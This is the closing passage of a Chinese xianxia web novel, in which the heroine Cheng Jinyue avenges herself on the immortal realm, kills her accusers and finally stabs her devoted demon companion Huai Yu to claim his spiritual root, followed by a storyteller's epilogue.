她轻轻歪头,终于开口,“你不明白?” “好啊,你不是想知道答案吗?” “严定,你接着说啊。” 怀钰乖乖地给孟朝留了一口气。 严定冷笑,随后用剑撑起身子,朝四周望去。 “好,程今越,那老夫我今日便将真相公之于众!” 真相。 程今越也想要这个真相。 她已经沉默很久了,她已经憋够了,她受够了! “程今越,我就想问问!” “你之所以能够走到今天这一步,我仙界哪一步亏待过你!” “你本不过是一介小小长明族族人,身无灵力,跟凡人又有何异?” 众人唏嘘不已,看着程今越。 原来程今越根本就不是大衍剑宗的三小姐! 可是程今越却只是笑着,黑发落在她的肩上。 “你的身世我早已探查清楚!你为了得到利益,一路上杀人无数,骗不到就去抢,抢不到就杀,你手中有多少鲜血,你自己最为清楚!” “你一路被人追杀,是大衍剑宗的程宗主给你了活下去的机会!你只需要救人性命,让程蕴知活下去,宗主便给了你无比尊贵的身份,可你呢!” 严定看着程今越,程今越却毫不在乎,他越气愤,程今越反而越加兴奋,她脸上的笑容越发深邃,一双眼眸无辜地看着所有人。 严定气得怒火攻心,他深深吸一口气,“而你,你却和魔种勾结,残害大衍剑宗,继续蒙骗界主,界主从未如此爱过一个人,偏偏是你这个毒妇!” “你让孟朝也为你所骗,让萧极也为你所骗,甚至让萧极甘愿用破魔铃来换取你的性命,让他落得惨死的下场!” “程今越,你对不起所有人,你对得起谁!你的良心都被狗吃了!” 他的声音嘶哑,快要喘不过气。 程今越听到这个话却笑起来。 她笑得前仰后合,眼泪都快出来。 “我说,你们是真会为自己找借口啊。” 她朝怀钰挥挥手。 他一剑捅穿严定的身体,准备再一剑杀死他的时候,程今越摇了摇头。 死? 死可是最轻松的事情,想要这么轻松的去死? 凭什么? 怀钰拉着严定的残躯一路往高台上走着。 “妖女!你快去死!” 严定还在咒骂着。 可程今越笑得却越浓。 他不肯跪,程今越便打断他的腿,他不肯低头,程今越就打断他的脊骨。 鲜血染满了高台,程今越坐在最高处,笑着看着严定。 疼痛让严定口中的咒骂强行停止,只剩下哭喊。 “怎么不继续骂啦?前辈。” 程今越笑眼盈盈。 还有一剑快要落下的时候,一剑突然拦住了怀钰,刀剑铮鸣时,孟朝出现在程今越的身前。 他从人群之中一路杀出,杀到程今越的面前。 就像当年一样,浑身是血的他,踉踉跄跄地走到程今越的面前。 火花一瞬绽开,怀钰持剑站在程今越身旁,孟朝喘着气,鲜血从脸上流下来,他好像不知痛觉一般,只是哽咽着,抬头愣愣地看着程今越。 他挡在严定身前。 残阳落在他的脸上,他紧紧攥着手中的剑。 “三小姐……” 他顿了顿。 “其他人说的我都不信,我只信你说的。” “你说什么我就相信什么,我能带你走,我就算是死也不会让这只魔种……” “孟朝。” 程今越笑着打断他。 她站起身。 “你知道吗?我等这一天等了太久太久了。” 她眼中泛着光。 远处尸骸一片,仙界已经大变天了。 她真的等这一天等了太久太久了。 “我该怎么说你呢?蠢得可怜?” “善良?正义?慈悲?” “抱歉,或许你对我有什么误解。” “我对这个世间,只有恨。” “你们这些正道之子可以都去死吗?” 她笑着,以最温柔的面孔说出最恶毒的话。 “严定,你口口声声说仙界不欠我的,你又在装什么呢?” 她冷冷地看着严定。 “是啊,我是长明族人,我就是你们最瞧不起,最看不上,最鄙夷的长明族!” “我是女子,我是凡人,在你们看来,我甚至只是一味药材,我只能成为谁的妻子谁的小妾,我甚至不如去死!” 残阳落在她的身上,她抬着头,风吹起她的长发。 所有的伪装在此刻都被撕去,野心毫不掩饰地在她的眼眸里。 “是,我杀了人,我骗了人,可是我又有什么办法?” “你们这些道貌岸然的伪君子,还说什么苍生大义!” “为什么要我去怜惜别人呢?为什么要我去关心苍生呢?” “我试问,又有谁在乎过我的性命呢?” 她看着孟朝。 “我失去了父母,失去了朋友,失去了一切,我那时才十几岁。” “他们要我的血,要我的身体,要我的命!” “请问,是我没有活下去的资格吗?” “是我不想善良吗?是我不想大义吗?是命运,是你们,根本就没有给我这个机会!” “什么叫作只用治好程蕴知?我每七日便要割血做药,他给我的不过算是交易罢了。” “李从霜怎么对我的,程望怎么对我的,孟朝,你明明不是最清楚的吗?” 第107章 尾声(二) 程今越低头看着孟朝,她没有哭,脸上只有淡淡的笑意。 因为这么多年,她的泪早就哭干了! 孟朝愣在原地,他没有说话。 “程望要杀我,李从霜要杀我,我在大衍剑宗的每一日都是活在痛苦之中!我凭什么不能杀了他们?” “是啊,程望是我杀了,李从霜也是我杀的,可是罪魁祸首不是我啊,是萧极啊。” 她轻轻笑着,回头,捧起萧极已经破碎成肉泥的头,几乎已经不成人形。 她歪歪头,指着萧极。 “他的魂魄还没散,被我收集起来了,你们想要知道真相可以用术法清洗他的记忆啊。” 她将萧极的头递给孟朝,又递给严定。 没有人敢接。 天底下没有秘密,特别是他们这种站在高处的人,知道的东西更多。 “孟朝,那日你不是在吗?你不是看到了吗?” “严定,你敢发誓,你不知道吗?” “嗯?” 没有人敢说话。 四周寂静。 严定还是不服,他浑身颤抖着,“那界主呢?界主对你从来真心,你却如此辜负他!” “甚至与这魔种苟且!” 程今越冷笑,“界主?什么界主?” “这是罪人萧极,迫害同胞,心狠手辣,我为民除害,何罪之有?” “我看你是年纪大了,记性不好了。” “无定界界主,是我,程今越才对。” 她不恼不怒,轻轻将萧极不成形的头颅扔在地上,一脚踩碎。 严定气喘吁吁,怒火攻心。 “听清楚了,就是我杀的,不光是这些人,你也无须怜悯我,我也不需要任何人的怜悯。” “我手中满是鲜血,我只为我自己而活,所有阻拦我的人,都会去死,你也不例外。” “我就是要,以杀止杀,以恶止恶。” “我的回答,你满意吗,孟朝?” 孟朝低着头,他觉得心沉闷闷的,他只能哽咽,只能沉闷,程今越已经回答了他想要问的所有问题。 他甚至不敢回头去看他和程今越的回忆。 曾经美好的愿望都还历历在目,曾经保护三小姐的梦想,如今看起来就像是一个笑话。 他曾在黑暗之中仰仗的信仰,在此刻就这样彻底地崩塌。 “怀钰。” 她轻轻唤。 怀钰站在她的身边。 “杀。” 怀钰再次补上一剑,对方几乎已经没有任何求生意志。 孟朝的头颅就此被斩下。 四周随之寂静又哀鸣。 天地嗡鸣,阵法再次松动,怀钰口中又涌出鲜血,身上的皮肤几乎完全破裂,只有狰狞的血肉裸露在外。 “程今越,你以为今日你便能赢吗?” “破魔铃虽在你手,但我众仙也非等闲之辈!” “死了我一个严定又如何,妖女,仙界是不会放过你的!” “这只魔种已经快死了,等他一死,你就死到临头了!” “魔种,你为了这妖女变成这样人不人鬼不鬼的模样,不好受吧?” “如果她真的爱你,又为何不解开法阵,要让你受着锥心之苦?” “蠢货,我告诉你,你们的报应都会来的!” “聒噪。” 怀钰拿着脊椎剑,眉头轻挑,跳起来,一剑将严定斩杀。 “有你说话的地儿吗?” 他诡异地笑起来。 随后又是黑血从他喉咙之中涌出。 他用剑撑着,然后轻轻笑起来。 程今越擦掉眼泪,越到这种时刻,她越冷静。 她仿佛能够听见自己心跳的声音。 “怀钰,别逞强了,解开封印,然后把他们都杀了!” “那你呢?程今越!” “阵法被强行终结,你死定了!” 他缓缓直起腰,伸手又一次抚摸着耳畔的红色流苏耳坠。 “程今越,我知道,你喜欢做赌徒,你喜欢用自己的命来拼。” “为什么,为什么你总是把事情全部押在自己身上呢?” 纵然已经失去了人形,但是他的声音没有任何改变,程今越仿佛能够看见那个戾气的少年在朝她笑。 “程今越,你赌得起,我赌不起。” “程今越,你有想死的权利吗?” “只要有我在,你就永远别想去死。” 他将剑插回脊椎,一双红色的眼睛看着程今越。 “程今越,我就是你最锋利的刀,使用我不好吗?” “你一直很想赢,不是吗?” “用我的修为和灵力,操控阵法,把他们全杀了!” 他转过身,朝着有程今越气味的方向看去。 因为他已经看不见程今越了。 程今越斩钉截铁,“不行。” “怀钰,你不能死!” “这样你会死的,你绝对不能死!” 她攥着手,指甲陷进手里面。 “为你去死啊,不好吗?” 对方笑起来,好像在说一件格外轻巧的事情。 没有时间了。 千军万马朝程今越袭来,所有魔物都挡在她的身前。 这些年来,她想过很多次这样的场面,做了无数次这样的梦。 程今越已经设想了自己无数次的死法,她已经坦然预想了会面对的所有背叛,所有谎言,所有算计,所有死亡。 如今真的到了这一天,她却丝毫不感到意外。 因为她走得每一步都太艰难了,她好不容易,好不容易啊。 只是程今越算透了所有,算完了一切,她都没有想到。 在这一天,会有一个人无条件地站在她的身前。 而偏偏是这个人。 偏偏是她利用得最多,欺骗得最多。 偏偏是最应该恨她的这个人。 怀钰将她放在自己的肩上。 巨大的怪物身上坐了一位穿着嫁衣的少女。 风吹起她黑色的长发,她冷冷地看着身下众人。 脸色白皙,沾染着鲜血。 她举起破魔铃,将血灌入铃中,清脆的铃声四起,苍穹上的法阵急速转动,照亮整个黄昏。 随着*法阵转动,她能感受到怀钰的**在不断被侵蚀,但怀钰却一声不吭,他竭力控制着声音。 好痛,好痛…… 这是从未有过的痛苦,胸腔的灼热感伴随着呼吸,痛苦从内脏蔓延至头脑。 怀钰的眼前彻底被黑暗吞噬,像是边疆厚实的冬雪,显示深秋中刺骨的冰碴。 脑海中的记忆好像在被一双大手不断剥离,痛苦的记忆不断从他的脑海里被翻涌出来。 “你这个有娘生没娘养的杂种。” “怪物,滚啊,谁都不许跟他一起玩!” “对不起,可是待在你身边真的会让人觉得很害怕。” “都怪你,肯定是因为你这个扫把星。” “你为什么还活着,你快去死吧……” …… 怀钰紧紧咬住牙齿,抑制住心头的疼痛。 其实也还好,并没有觉得有多痛。 这算什么呢? 就算是浑身的血肉都在被侵蚀,就算是五脏六腑都失去了,这种疼痛也不算什么。 他都是可以承受的。 这可是小越需要他的时候。 这些都已经是过去了,他再也不是什么没有人爱,不被人需要的魔种了。 他在脑海中不断回忆着和程今越的过去,其实并没有多长的时间,所以怀钰记得每一刻,记得每一个细节。 怀钰喜欢程今越带给他的每一刻。 “怀钰……怀钰……” 怀钰眼前全是一片漆黑,他看不见了,但是他竭尽全力地保持精力,他竭力抓住程今越的微弱的声音。 他疼得快要说不出话,程今越的声音模模糊糊的。 他笑着,“我没事小越,别管我……” 怀钰轻轻抓住程今越的手,安抚她。 他觉得身上有冰冰凉凉的东西,一滴一滴落在他的身上。 怀钰轻轻愣了一下,随后笑起来。 “小越……别哭啦……” “别为我哭,好吗?” 他伸手去给程今越擦眼泪,但是又看不见,找不到程今越的脸。 又害怕弄脏程今越的脸,最后又缩了回去。 程今越的泪却越来越多。 哎,为什么会这样呢? 为什么要这样呢? 她觉得命运好不公平啊。 程今越轻轻擦去眼角的泪,将喉咙中的酸涩咽下。 她本来以为自己不会哭的。 她看着眼前的苍生,看着眼前的兵荒马乱,这些人都是曾经可以随意踩在她头上的人。 程今越终于走到这一步了。 法阵在不断转动着,猎猎的风吹着程今越的长发,法阵之中,传来无尽的哀嚎,但她的眼中却没有任何感情,像是只是在看什么花花草草。 所有的血肉都被堆积在一起,被法阵挤压,翻滚,能清晰地听见骨头碎裂的声音。 “程今越……你这个贱人!” “程今越……放过我吧,求你放过我,我可以为你所用!” “神女殿下……请救赎我吧!” “神女殿下!” 所有的人都在唤着她的名字。 愤怒的,悲伤的,哀求的,不甘的。 一切都被巨大的法阵所吞噬。 整个法阵仿佛就是一座天然的炼丹炉。 一切都在这清脆的铃声之中化作血肉,化作血水,最后化作一道莹莹白光。 “怀钰,我们再做一个交易吧” 她突然开口。 “你听得到吗?” 她喉咙轻微颤抖,将泪声隐藏着。 怀钰轻轻“嗯”了一声。 “当然,小越,只要是你的请求,我当然都会答应。” 程今越没敢看怀钰。 “他们死了之后,一切结束之后,我把你的封印解开,好吗?” 耳畔没有传来怀钰的声音。 身旁的人传来寂静。 良久。 “程今越。” 怀钰冷笑着。 “你就这么想和我撇清关系吗?” 他不明白。 他不想要听见程今越说这些话。 他不想被抛弃。 过去几乎已经没有任何的记忆能够伤害到怀钰了。 除了程今越。 他恨程今越,恨她说什么爱自己,又恨她欺骗自己,恨她亲手将箭射进自己的胸口。 明明他已经什么都不要了,他连尊严和命都可以不要,为什么就是一定要丢下他呢? 他刚要开口,却听到程今越说。 “不,血契解开后,我们成婚吧。” 怀钰愣住了。 “怀钰,你肯定能保护我不让我受伤的吧?” 程今越笑着。 怀钰耳边仿佛传来一阵嗡鸣。 他头皮发麻,从头到尾一阵颤抖。 “什么?” “我说,我们做个交易。” “你解开封印,我们解开血契,然后,成婚。” 程今越又道了一遍。 “真的……吗?” “我吗?” 怀钰愣愣地出声。 他可以吗? 他这样的人? 他已经被程今越骗了好多次了,明明每次他都知道或许是骗局,可是他都会义无反顾地踩进陷阱之中。 就像亘古不变的飞蛾扑火。 会粉身碎骨,会烈火焚身。 因为这道火实在是太炽热了,因为这道光实在是太温暖了,就算是疼痛也足以让他贪恋每一刻。 因为在曾经的某一刻,怀钰真真正正地感受到了幸福。 “好。” “我们一定会成婚。”【魔蝎小说 mo xie xs .c om】 【END】 第108章 尾声(三) 破魔铃在程今越的手中响着,清冷的声音穿透每个人的耳朵,法阵在苍穹之上发出眩目的白光。 程今越在白光上,清冷的眼眸轻睨着终生,长发随着灵力飘动。 以法阵为炉鼎,以魔神的血肉为薪柴,以在场众仙众魔为原料。 哭喊声与咒骂声起初很大,渐渐地,只剩下呜咽,只剩下血肉被蒸煮的声音。 “程今越……程今越……” 他们如是叫喊着。 挺拔的身躯,高贵的血脉,随便一个都是可以把程今越踩在脚下的人,如今无一例外跪在程今越的脚下。 变成血水,变成白光,变成法阵之中的养料,不断汇聚到破魔铃中,汇聚到程今越的手中。 随后声音渐渐小了,随后什么声音都听不见了,千里万里的苍穹下,只有黄昏的血色,众生不过是大地上一粒微不足道的尘埃。 只是风轻轻吹,便消失在了世间之中,仿佛从未来过。 程今越听见清脆的一声,是法阵吸收完所有修为了。 一切都结束了。 四周突然变得寂静,程今越只能听见风呼啸而过的声音。 她眺望远方,她就是从最远处一步一步走过来的,一步一步走过她的过去。 阻拦程今越的人全死了。 陪伴程今越走过来的人也都死了。 破魔铃落在她的手中,里面是成千上万仙魔的修为。 她握着破魔铃,才发觉原来真的走到这一步了。 程今越有些顿住,她觉得喉间是止不住的酸涩。 她低着头,不断掩盖着心头的情绪。 她的嘴里有千万的话,到了此刻,却不知道说什么。 直到一个熟悉又温暖的拥抱将她一把拥入怀中。 程今越的脸靠在对方的怀里,她不敢看对方,只是用手摸着对方的变化。 遍身的血,外翻的伤口,被捅穿的胸脯,破碎的心脏。 为什么会这样呢? 为什么明明最该恨她的人会这样呢? 就算是走到了这一步,程今越还觉得恍若梦中。 “小越……你没事,真的太好了。” 她听到怀钰的声音。 怀钰将程今越整个人紧紧地抱在怀里,就像他们相识的第一天,像从前程今越抱住怀钰一般。 “能和你抱在一起,真好啊。” 她听见怀钰用沙哑的喉咙笑着说。 随后不知道为什么,她的泪水瞬间抑制不住了。 她将头低得更低,埋在怀钰的怀中。 她将怀钰死死地抱在怀里,用尽她最大的力气,像是要长进他的身体一般。 怀钰好喜欢拥抱,他能抚摸出程今越骨骼的形状,敢说程今越在颈间温热的呼吸,千千万万流连。 皮肤与皮肤粘连着,眼泪与血混合在一起,身上的疼痛都被肌肤的滚烫抚平。 我们是最不被世间接受的怪物,我们在阴暗的角落相拥,给予彼此最后一点温暖。 我们一路走了好久好久,我们好不容易。 好不容易。 “怀钰,按照约定,解开封印吧。” 程今越将破魔铃塞进怀钰的手中。 她抬起头,看着怀钰的眼睛。 猩红的,含泪的,血肉模糊的眼睛。 程今越知道,这或许是最后一次看这双眼睛了。 “然后我们……成婚,好吗?” 成婚…… 怀钰握着破魔铃,他的心跳得很快。 其实被程今越抛弃后,他都没敢回头看,成婚这种话,对他来说就跟梦一般。 他看不清楚程今越的脸,只能感受到有冰冰凉凉的东西不断落在手上。 他不断说着“好”,不断点着头,一边又用手擦去程今越脸上的泪。 “小越,我不想要看见你哭。” “从今以后,你会一直开心,一直幸福,你再也不会哭了。” “我们都会好好的。” “别哭了,好吗?” 怀钰的声音轻柔。 他轻轻揉着程今越的头,像是程今越从前对他的那样。 可是程今越反而哭得更大声。 他从来没有见过这样的程今越。 她的眼泪浸湿了怀钰胸膛,她哭得很大声。 其实怀钰一直觉得,程今越身上的茧太重了,她真的很像蝴蝶,她应该展翅高飞。 一瞬间,破魔铃碎了,程今越没有感受到任何痛感,怀钰再次替她承受了一切。 一口血被怀钰生生咽下,浑身的疼痛在此刻什么也不算了。 法阵在此刻破碎。 封印在此刻解除。 伴随怀钰经年的血契也终于消散。 程今越在此刻吻上了他的唇。 柔软,温暖,湿润。 他们紧紧相拥。 怀钰从未觉得自己如此幸福。 此前遭过的一切苦,一切罪,都是那么值得,为了小越,一切都是那么幸福。 随后一把刀没入了怀钰的心脏。 本已经破碎的心脏。 怀钰浑身颤抖了一下。 在这一刻,他的大脑瞬间变得空白。 他愣愣地看着胸口的这把刀,又抬头看着握着刀柄的那只手。 他觉得呼吸停滞了,愣愣地抬头看着手的主人。 程今越脸上是未干的泪痕。 她脸上没有其余的表情。 平静的眼睛看着怀钰。 很快,痛感弥漫了怀钰全身。 比千万把刀捅在他身上还要痛,比他用血肉承受法阵运转还痛,比他这些年来受过的所有伤加起来都还要痛。 他死死地看着程今越的眼睛,情绪瞬间涌上心头。 为什么啊? 凭什么啊? 他想要问很多,可最后都卡在了喉咙,最终还是没有说出口。 程今越已经做好了一切的准备,她等待着对方的一切愤怒,一切疑问,一切崩溃。 她甚至快要不敢直视怀钰的眼睛。 可是她准备的一切都没有来临。 怀钰握住她的手,又往他的心头更深地捅进了一些,随后直直抱住程今越。 拥抱温暖舒适,只是有血不断溢出,打湿了他们相拥的胸膛。 她看见怀钰耳坠上的红色流苏随风飘扬。 她听见怀钰轻轻地笑。 “小越,原来你一直想要的是这个啊。” “我的一切,你都拿走好啦。” “小越,记得要开心啊。” 程今越觉得整个人连带着灵魂都在震颤。 怀钰温柔地笑着。 在这一刻,她从来没有觉得时间过得如此之快。 怀钰拔出胸口的刀,用程今越亲手做的无垢刀一点一点将灵根挖出。 他的脸上没有任何痛苦,他笑着。 其实怀钰什么都知道。 只能说,故事总有遗憾吧。 不过这样,不也挺好吗? 起码,他这个人对程今越产生意义了啊。 “小越,为什么要哭呢?” “得到了想要的,不应该笑吗?” 他将灵根放在程今越手中。 温热的,滚烫的,程今越梦寐以求的。 随后她感受到怀钰在如灰尘一般散去。 他变得透明,像是流沙一般从程今越的指尖逝去。 快到程今越还没有反应过来。 “小越,我会永远爱你。” 他说。 像是他们故事的开始那般。 其实她没有说谎。 * “大战之后呢?” “是啊!然后呢?” 台下听者众,起坐喧哗,皆露好奇之色。 只见发间斑白的说书人一拍惊堂木,他捋了捋了胡子,笑道,“大战之后,大衍神女蛰伏近百年,终于得到了她想要的东西。” “她斩杀魔神,救苍生于水火之中,将魔神的灵根容纳,再将仙界反众的修为尽数吸收,经历千苦万难,终于,大衍神女在此间诞生了。” “她不再弱小,不再彷徨,不再如蝼蚁一般依靠他人,终于,她一人,便足以顶天立地!” 众人随着说书人的讲说欢呼起来,手舞足蹈,大声叫好。 “可是——魔神真的死了吗?” “他那么强,那么多神仙联手都杀不死他!神女殿下果真如此厉害!” “想必魔神一定恨透了神女殿下。” 说书人笑了笑,摇了摇头。 “小子,那你可问到点子上了,老夫又略知一二。” “神女殿下杀死魔神的刀名为无垢刀。” “神女殿下为斩杀魔神费尽心血,神女本贵为长明族血脉,本就天生克制魔种,终于又在无定界中的宁城找到答案,用海神之心与心头血亲自锻造了这把无垢刀。” “那一场大战,魔神已经死得干干净净了。” 他笑道。 “不过——” 他话锋一转。 “魔神是否恨神女殿下……” “其实,我听过一个传闻,神女殿下其实是与魔神一同前往的宁城,还参加了宁城的海神祭。” “二人曾在海神祭的神树上留下过字条。” “如今魔神已死,神女殿下掌管苍生,想必只有找到这张字条上的内容,才能解答真相了。” “竟然是和魔神?” “那字条上到底写了什么啊?” “是啊!” 众人翘首以盼。 可说书人摇摇头。 “五百年前的东西,谁又能寻到呢?” 众人摇头叹息。 却听见远处传来一声轻笑。 只见是一个容貌出挑的少年,黑色的长发略微遮住眼睛,唇红齿白。 单边耳坠上挂了一条红色流苏,上面有一颗红色的珠子。 “我知道。” * 宁城又举办了海神祭,程今越不知为何,就来到了那棵相思树下。 如今时过境迁,沧海桑田,这棵树已经被搁置了数百年,有新的树生长起来,成为新的相思树。 对方什么都没有留下,所有有关对方的东西全部消失。 在几百年的时光里,那相识的几年,短得就像梦一般。 清晰又疼痛。 程今越没有抱多大的希望,但她极其顺利地找到了那张纸条。 纸上只有微薄的灵力,泛黄的纸张格外脆弱。 她轻轻打开。 上面写着: “我一直都很想念你。” 在这一刻,程今越再次感受到了阴湿的目光。 像雨的潮湿,像无形的蛛网,侵略,肆无忌惮。 ——正文完——【魔蝎小说 mo xie xs .c om】